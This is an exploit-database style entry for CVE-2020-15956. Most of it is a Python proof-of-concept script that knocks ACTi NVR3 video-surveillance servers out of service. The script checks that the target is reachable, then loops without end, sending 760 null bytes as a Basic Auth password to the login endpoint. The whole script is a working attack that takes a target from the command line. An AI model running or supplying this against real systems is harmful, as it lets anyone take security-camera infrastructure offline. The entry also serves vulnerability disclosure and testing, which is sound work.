ACTi NVR3 Standard / Professional Server 3.0.12.42 Denial Of Service

`# Exploit Title: ACTi NVR3 Standard or Professional Server 3.0.12.42 - Denial of Service (PoC) #  
# Date: 2020-08-04 #  
# Exploit Author: MegaMagnus #  
# Vendor Homepage: https://www.acti.com/ #  
# Software Link: https://www.acti.com/DownloadCenter #  
# Version: V.3.0.12.42 , V.2.3.04.07 #  
# Tested on: Windows 7, Windows 10 #  
# CVE: CVE-2020-15956 #  
# This is a Proof of Concept Exploit, Please use responsibly. #  
#################################################################################  
  
#!/usr/bin/env python  
import requests  
from requests.auth import HTTPBasicAuth  
import sys  
  
def product_info(server):  
try:  
r = requests.get(sys.argv[1] + '/media/Product/getProductInfo', timeout=10)  
if r.status_code == 200:  
print(r.text)  
return True  
except Exception as e:  
print(e)  
return False  
  
if __name__ == "__main__":  
if len(sys.argv) != 2:  
print("usage: cve-2020-15956.py <target>")  
exit(-1)  
if product_info(sys.argv[1]):  
print("Starting DOS. Use Ctrl-C (SIGINT) to stop!")  
while True:  
try:  
payload = b"\x00" * (760)  
r = requests.get(sys.argv[1] + '/Media/UserGroup/login', auth=HTTPBasicAuth('Basic',payload), timeout=10)  
print(r.status_code)  
except KeyboardInterrupt:  
pass  
except Exception as e:  
pass  
`